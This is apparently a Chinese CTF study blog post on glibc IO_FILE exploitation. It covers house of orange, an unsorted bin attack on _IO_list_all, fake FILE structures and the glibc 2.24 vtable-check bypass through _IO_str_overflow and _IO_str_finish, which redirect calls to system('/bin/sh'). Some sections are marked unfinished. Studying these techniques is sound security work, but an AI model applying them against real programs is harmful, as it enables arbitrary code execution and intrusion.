一直很想写一篇IO_FILE的利用总结,虽然写的有点晚了,希望写这一篇总结可以对IO_FILE有一个深入的了解吧…
文件结构
在libc中,文件结构由一个叫_IO_FILE_plus的结构体维护,它包含一个_IO_FILE结构体和一个指向函数跳转表的指针。从注释我们也可以知道,vtable指向的函数跳转表是为了与C++的streambuf兼容,当程序对某个流进行操作时,会对应调用函数调用表中对应的函数。1
2
3
4
5
6
7
8
9
10
11//glibc-2.23 ./libio/libioP.h
/* We always allocate an extra word following an _IO_FILE.
This contains a pointer to the function jump table used.
This is for compatibility with C++ streambuf; the word can
be used to smash to a pointer to a virtual function table. */
struct _IO_FILE_plus
{
_IO_FILE file;
const struct _IO_jump_t *vtable;
};
_IO_FILE结构体的具体成员如下:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43//glibc-2.23 ./libio/libio.h
struct _IO_FILE {
int _flags; /* High-order word is _IO_MAGIC; rest is flags. */
/* The following pointers correspond to the C++ streambuf protocol. */
/* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
char* _IO_read_ptr; /* Current read pointer */
char* _IO_read_end; /* End of get area. */
char* _IO_read_base; /* Start of putback+get area. */
char* _IO_write_base; /* Start of put area. */
char* _IO_write_ptr; /* Current put pointer. */
char* _IO_write_end; /* End of put area. */
char* _IO_buf_base; /* Start of reserve area. */
char* _IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
char *_IO_save_base; /* Pointer to start of non-current get area. */
char *_IO_backup_base; /* Pointer to first valid character of backup area */
char *_IO_save_end; /* Pointer to end of non-current get area. */
struct _IO_marker *_markers;
struct _IO_FILE *_chain;
int _fileno;
int _blksize;
int _flags2;
_IO_off_t _old_offset; /* This used to be _offset but it's too small. */
/* 1+column number of pbase(); 0 is unknown. */
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];
/* char* _save_gptr; char* _save_egptr; */
_IO_lock_t *_lock;
};
这个函数跳转表由结构体_IO_jump_t维护,具体成员如下:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30//glibc-2.23 ./libio/libioP.h
struct _IO_jump_t
{
JUMP_FIELD(size_t, __dummy);
JUMP_FIELD(size_t, __dummy2);
JUMP_FIELD(_IO_finish_t, __finish);
JUMP_FIELD(_IO_overflow_t, __overflow);
JUMP_FIELD(_IO_underflow_t, __underflow);
JUMP_FIELD(_IO_underflow_t, __uflow);
JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
/* showmany */
JUMP_FIELD(_IO_xsputn_t, __xsputn);
JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
JUMP_FIELD(_IO_seekoff_t, __seekoff);
JUMP_FIELD(_IO_seekpos_t, __seekpos);
JUMP_FIELD(_IO_setbuf_t, __setbuf);
JUMP_FIELD(_IO_sync_t, __sync);
JUMP_FIELD(_IO_doallocate_t, __doallocate);
JUMP_FIELD(_IO_read_t, __read);
JUMP_FIELD(_IO_write_t, __write);
JUMP_FIELD(_IO_seek_t, __seek);
JUMP_FIELD(_IO_close_t, __close);
JUMP_FIELD(_IO_stat_t, __stat);
JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
JUMP_FIELD(_IO_imbue_t, __imbue);
get_column;
set_column;
};
程序所有的FILE结构会通过_IO_FILE结构体中的成员_chain链成一个链表,其头部为全局变量_IO_list_all。
HITCON 2016 house of orange
待补充
how2heap house of orange
题目概述
编译及运行情况:
1 | $ gcc ./house_of_orange.c -o house_of_orange |
利用过程分析
House of orange假设堆上存在一个缓冲区溢出,top chunk可以被破坏。初始时通常top chunk的大小为0x21000,随着堆的不断分配,top chunk逐渐变小,当top chunk的大小小于请求分配的大小时,会有两种可能性,一是以brk的形式扩展top chunk,二是使用mmap创建独立的的page。但如果申请的chunk大小小于mmap_threshold时,会进行top chunk的扩展,mmap_threshold是128KB。
首先申请一个大小为0x400的chunk p1,,从top chunk中分配了0x400,此时top chunk的大小和prev_inuse位组合为0x20c01。
1 | p1 = malloc(0x400-16); //0x400 |
1 | pwndbg> heap |
将top chunk的大小由0x20c01改为0xc01。
1 | top = (size_t *) ( (char *) p1 + 0x400 - 16); |
1 | pwndbg> x /8gx 0x602000 #chunk p1 |
对于伪造top chunk的大小有一些要求:1
2
3
4assert((old_top == initial_top(av) && old_size == 0) ||
((unsigned long) (old_size) >= MINSIZE &&
prev_inuse(old_top) &&
((unsigned long)old_end & pagemask) == 0));
堆的边界必须是页面对齐的,因为top chunk是堆上的最后一个块,所以它必须在末尾进行页面对齐。另外,如果要释放与top chunk相邻的chunk,则该chunk会与top chunk合并,因此top chunk的PREV_INUSE必须为1,所以总结来说,top chunk的大小有以下要求。
1 | size要大于MINSIZE(0x20) |
当我们请求一个大于top chunk但又小于mmap_threshold的chunk时,会强制调用sysmalloc,最终调用_int_free。
1 | p2 = malloc(0x1000); |
1 | //glibc-2.25 ./malloc/malloc.c |
malloc会分配另外一个page作为新的top chunk,新的top chunk与原来的top chunk相邻,原来的top chunk会进入unsorted bin中。原来堆的大小:
top chunk扩展之后:
原来的top chunk进入unsorted bin中,原来的top chunk大小为0x21000,从0x623000进行top chunk的扩展,与原来的top chunk相邻,在新的top chunk中分配0x1000,即chunk p1。
1 | pwndbg> x /8gx 0x623000 #chunk p1 |
下面开始第二阶段的利用,这里利用的是每当触发_IO_flush_all_lockp时,_IO_flush_all_lockp刷新所有的文件指针,即遍历_IO_list_all链中的每一项,分别调用_IO_OVERFLOW。所以这个POC的想法是使用伪文件指针覆盖_IO_list_all链中的文件指针,该fake FILE的_IO_OVERFLOW指向system,该FILE结构的前8个字节设置为“/bin/sh”,所以当调用_IO_OVERFLOW(fp, EOF)其实是调用system(“/bin/sh”)。这是第二阶段的思路。libc触发_IO_flush_all_lockp有以下三种情况:1
2
3libc触发abort时
执行exit函数时
程序执行流从main函数返回时
首先需要修改_IO_list_all中的内容,伪造一个fake _IO_FILE,这里利用UnsortedBin Attack将_IO_list_all的值修改为main_arena+0x58,然后在main_arena中构造fake _IO_FILE。假设有一个上文中的溢出可以修改top chunk,在第二阶段中再次使用此溢出来覆盖释放到unsorted bin中的旧的top chunk的fd和bk指针,将bk指针修改为_IO_list_all-0x10,这样在后续试图分割unsortedbin中的free chunk来满足分配请求时,该free chunk->bk->fd会被覆盖到main_arena的地址空间中,也就是我们所说的UnsortedBin Attack。
1 | //glibc-2.23 ./malloc/malloc.c |
1 | io_list_all = top[2] + 0x9a8; |
覆盖之前该chunk的fd和bk指针的状态是指向main_arena,_IO_list_all中的内容如下:
1 | pwndbg> x /8gx 0x602400 #old top chunk |
覆盖之后,_IO_list_all的值修改为main_arena+0x58。
1 | pwndbg> p &_IO_list_all |
在执行_IO_flush_all_lockp时,会通过_IO_FILE结构体的_chain成员寻找下一个_IO_FILE,如果_IO_list_all的值修改为main_arena+0x58时,_chain成员偏移位置恰好在smallbin[4]的头部。如果将旧的top chunk的大小修改为0x61(prev_inuse位必须为1),当请求分配一个较小的分配时,unsorted bin中的chunk会进入对应大小的bin中,在64位系统中,0x60恰好是smallbin[4],前面依次是0x20、0x30、0x40、0x50。而smallbin[4]中是空的,因此旧的top chunk将在smallbin[4]的头部。也就进入以_IO_list_all为头部的_IO_FILE链中。
所以要修改旧的top chunk的大小为0x61,并在旧的top chunk中伪造_IO_FILE结构,参考_IO_flush_all_lockp源码,想要调用_IO_OVERFLOW (fp, EOF),_IO_FILE需要满足几个条件:
1 | //glibc-2.23 ./libio/genops.c |
根据libc中的_IO_flush_all_lockp实现可以知道需要满足以下条件:
1 | fp->_mode <= 0 |
在POC中是选择满足了第一种条件:1
2
3
4
5
6top[1] = 0x61; //修改top chunk的size域为0x61。
//Set mode to 0: fp->_mode <= 0
fp->_mode = 0; // top+0xc0
//Set write_base to 2 and write_ptr to 3: fp->_IO_write_ptr > fp->_IO_write_base
fp->_IO_write_base = (char *) 2; // top+0x20
fp->_IO_write_ptr = (char *) 3; // top+0x28
接下来考虑如何将fake _IO_FILE的_IO_OVERFLOW指向system,首先fake FILE的前8个字节是”/bin/sh”:1
memcpy( ( char *) top, "/bin/sh\x00", 8);
考虑_IO_flush_all_lockp是如何找到_IO_FILE的_IO_OVERFLOW的呢?在前面文件结构的介绍可知是通过虚表指针vtable,vtable的地址位于_IO_FILE之后,也就是base_address+sizeof(_IO_FILE) = jump_table,在libc2.23中,32位vtable在_IO_FILE_plus结构体的偏移是0x94,64位偏移是0xd8。其中,_IO_OVERFLOW函数指针在结构体_IO_jump_t中偏移为0x18,下标为3。在POC中是这样构造的,将_IO_OVERFLOW指针指向winner函数,winner函数中调用了system函数。1
2
3size_t *jump_table = &top[12]; // controlled memory
jump_table[3] = (size_t) &winner;
*(size_t *) ((size_t) fp + sizeof(_IO_FILE)) = (size_t) jump_table;
最后申请堆内存触发chunks进入对应的bins,旧的top chunk进入smallbin[4]中,我们伪造的fake _IO_FILE进入_IO_list_all中。1
malloc(10);
在main_arena+0x58处伪造的_IO_list_all如下所示,_chain中指向下一个_IO_FILE,也就是我们在旧的top chunk中伪造的fake _IO_FILE。
1 | pwndbg> p (*(struct _IO_FILE_plus*) 0x7ffff7dd1b78) #main_arena+0x58 |
在旧的top chunk中伪造的_IO_FILE结构如下所示,续表指针指向0x602460。
1 | pwndbg> p (*(struct _IO_FILE_plus*) 0x602400) |
在0x602460处的函数跳转表中,第三项为_IO_OVERFLOW函数指针,指向winner函数,调用winner(“/bin/sh”)相当于调用system(“/bin/sh”)。
1 | pwndbg> p (*(struct _IO_jump_t *)0x602460) |
libc2.24中的利用方式
在libc2.24中加入对vtable虚表指针的检查,函数IO_validate_vtable会检查vtable指针是否在合法的地址上,即是否在__libc_IO_vtables段中,如果不在合法的段中,会调用_IO_vtable_check()进行下一步的检查。如果不能通过检查就会引发abort。这使得上面修改vtable虚表指针的利用方式不再可行。1
2
3
4
5
6
7
8
9
10
11
12
13
14//glibc-2.24 ./libio/libioP.h
static inline const struct _IO_jump_t * IO_validate_vtable (const struct _IO_jump_t *vtable)
{
/* Fast path: The vtable pointer is within the __libc_IO_vtables
section. */
uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;
const char *ptr = (const char *) vtable;
uintptr_t offset = ptr - __start___libc_IO_vtables;
if (__glibc_unlikely (offset >= section_length))
/* The vtable pointer is not in the expected section. Use the
slow path, which will terminate the process if necessary. */
_IO_vtable_check ();
return vtable;
}
1 | //glibc-2.24 /libio/vtables.c |
虽然不能在__libc_IO_vtables段外伪造虚表指针,但是可以利用其他的不在检查范围内的虚表,正如很多大佬的博客中写的那样,利用_IO_str_jumps。
_IO_str_overflow
我这里调试的是CTF-WIKI中修改后的house of orange,首先是利用_IO_str_jumps->_IO_str_overflow。
首先看一下_IO_str_jumps的结构。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28//glibc-2.24 /libio/strops.c
const struct _IO_jump_t _IO_str_jumps libio_vtable =
{
JUMP_INIT_DUMMY,
JUMP_INIT(finish, _IO_str_finish),
JUMP_INIT(overflow, _IO_str_overflow),
JUMP_INIT(underflow, _IO_str_underflow),
JUMP_INIT(uflow, _IO_default_uflow),
JUMP_INIT(pbackfail, _IO_str_pbackfail),
JUMP_INIT(xsputn, _IO_default_xsputn),
JUMP_INIT(xsgetn, _IO_default_xsgetn),
JUMP_INIT(seekoff, _IO_str_seekoff),
JUMP_INIT(seekpos, _IO_default_seekpos),
JUMP_INIT(setbuf, _IO_default_setbuf),
JUMP_INIT(sync, _IO_default_sync),
JUMP_INIT(doallocate, _IO_default_doallocate),
JUMP_INIT(read, _IO_default_read),
JUMP_INIT(write, _IO_default_write),
JUMP_INIT(seek, _IO_default_seek),
JUMP_INIT(close, _IO_default_close),
JUMP_INIT(stat, _IO_default_stat),
JUMP_INIT(showmanyc, _IO_default_showmanyc),
JUMP_INIT(imbue, _IO_default_imbue)
};
//glibc-2.24 /libio/libioP.h
在函数_IO_str_overflow可以伪造劫持控制流:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58//glibc-2.24 /libio/strops.c
int _IO_str_overflow (_IO_FILE *fp, int c)
{
int flush_only = c == EOF;
_IO_size_t pos;
if (fp->_flags & _IO_NO_WRITES) //pass
return flush_only ? 0 : EOF;
if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING))
{
fp->_flags |= _IO_CURRENTLY_PUTTING;
fp->_IO_write_ptr = fp->_IO_read_ptr;
fp->_IO_read_ptr = fp->_IO_read_end;
}
pos = fp->_IO_write_ptr - fp->_IO_write_base;
if (pos >= (_IO_size_t) (_IO_blen (fp) + flush_only))
{
if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */ //pass
return EOF;
else
{
char *new_buf;
char *old_buf = fp->_IO_buf_base;
size_t old_blen = _IO_blen (fp);
_IO_size_t new_size = 2 * old_blen + 100; //这里写上"/bin/sh"
if (new_size < old_blen) //pass
return EOF;
new_buf = (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size); //这里写上system的地址
if (new_buf == NULL)
{
/* __ferror(fp) = 1; */
return EOF;
}
if (old_buf)
{
memcpy (new_buf, old_buf, old_blen);
(*((_IO_strfile *) fp)->_s._free_buffer) (old_buf);
/* Make sure _IO_setb won't try to delete _IO_buf_base. */
fp->_IO_buf_base = NULL;
}
memset (new_buf + old_blen, '\0', new_size - old_blen);
_IO_setb (fp, new_buf, new_buf + new_size, 1);
fp->_IO_read_base = new_buf + (fp->_IO_read_base - old_buf);
fp->_IO_read_ptr = new_buf + (fp->_IO_read_ptr - old_buf);
fp->_IO_read_end = new_buf + (fp->_IO_read_end - old_buf);
fp->_IO_write_ptr = new_buf + (fp->_IO_write_ptr - old_buf);
fp->_IO_write_base = new_buf;
fp->_IO_write_end = fp->_IO_buf_end;
}
}
if (!flush_only)
*fp->_IO_write_ptr++ = (unsigned char) c;
if (fp->_IO_write_ptr > fp->_IO_read_end)
fp->_IO_read_end = fp->_IO_write_ptr;
return c;
}
涉及到的结构及变量有:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21//glibc-2.24 ./libio/strfile.h
typedef struct _IO_strfile_
{
struct _IO_streambuf _sbf;
struct _IO_str_fields _s;
} _IO_strfile;
struct _IO_streambuf
{
struct _IO_FILE _f;
const struct _IO_jump_t *vtable;
};
struct _IO_str_fields
{
_IO_alloc_type _allocate_buffer;
_IO_free_type _free_buffer;
};
//glibc-2.24 ./libio/libioP.h
需要满足的条件有:1
2
3
4
51.fp->_flags & _IO_NO_WRITES为假
2.pos >= (_IO_size_t) (_IO_blen (fp) + flush_only为真,即(pos = fp->_IO_write_ptr - fp->_IO_write_base) >= fp->_IO_buf_end - fp->_IO_buf_base + flush_only
3.fp->_flags & _IO_USER_BUF为假
4._IO_size_t new_size = 2 * old_blen + 100 指向"/bin/sh"
5.(*((_IO_strfile *) fp)->_s._allocate_buffer)指向system的地址
对于第一个条件,可以设置如下:1
fp->_flags = 0
对于第二个条件,由于flush_only = EOF = 0,转化为pos = fp->_IO_write_ptr - fp->_IO_write_base,_IO_blen (fp) = fp->_IO_buf_end - fp->_IO_buf_base,
联系第四个条件,new_size指向bin_sh_addr,而new_size有如下等式:1
new_size = 2 * old_blen + 100 = 2 * _IO_blen (fp) + 100 = 2 * (fp->\_IO\_buf\_end - fp->\_IO\_buf\_base) + 100 = bin_sh_addr
因此,可以构造:1
2fp->\_IO\_buf\_base = 0
fp->\_IO\_buf\_end = (bin_sh_addr - 100)/2
为了比较中的大于等于关系成立,可以尽心如下构造:1
2
3fp->_IO_write_base = 0
#关于fp->_IO_write_ptr在其他博客里我看到过如下构造
fp->_IO_write_ptr = (bin_sh_addr - 100)/2 或 fp->_IO_write_ptr = 0xffffffff 或根本不设置该值
对于第三个条件与第一个条件构造相同。
第四个条件在构造第二个条件时已经满足。
对于第五个条件,fp->_s._allocate_buffer要设置为system的地址,_s._allocate_buffer在fp中的偏移是0xe0,因此要设置:1
fp+0xe0 = system_addr
最后我看到有博客里还设置了mode的值,我也没明白是为什么。1
fp->mode = 0
那程序如何调用_IO_str_overflow呢?同样在调用_IO_flush_all_lockp时调用_IO_OVERFLOW,在_IO_OVERFLOW中调用_IO_str_overflow。不知道这个地方怎么写….
总结构造的条件是:1
2
3
4
5
6
7fp->_flags = 0
fp->\_IO\_buf\_base = 0
fp->\_IO\_buf\_end = (bin_sh_addr - 100)/2
fp->_IO_write_base = 0
fp->_IO_write_ptr = (bin_sh_addr - 100)/2 或 fp->_IO_write_ptr = 0xffffffff 或根本不设置该值
fp+0xe0 = system_addr
fp->mode = 0
_IO_str_finish
在_IO_str_jumps libio_vtable中第二项是_IO_str_finish中同样有相对地址的引用,而且相对比较简单。1
2
3
4
5
6
7
8
9
10//glibc-2.24 /libio/strops.c
void
_IO_str_finish (_IO_FILE *fp, int dummy)
{
if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF))
(((_IO_strfile *) fp)->_s._free_buffer) (fp->_IO_buf_base);
fp->_IO_buf_base = NULL;
_IO_default_finish (fp, 0);
}
需要满足的条件有:1
2
3fp->_IO_buf_base为真,(fp->_flags & _IO_USER_BUF)为假
fp->_IO_buf_base为bin_sh_addr
fp->_s._free_buffer为system函数地址
可以构造以下条件以通过检查:1
2
3fp->_flags = 0
fp->_IO_buf_base = bin_sh_addr
fp->_s._free_buffer = system_addr
参考
https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/house_of_orange/
https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/unsorted_bin_attack/
http://tacxingxing.com/2018/01/10/house-of-orange/
https://dhavalkapil.com/blogs/FILE-Structure-Exploitation/
https://firmianay.gitbooks.io/ctf-all-in-one/doc/4.13_io_file.html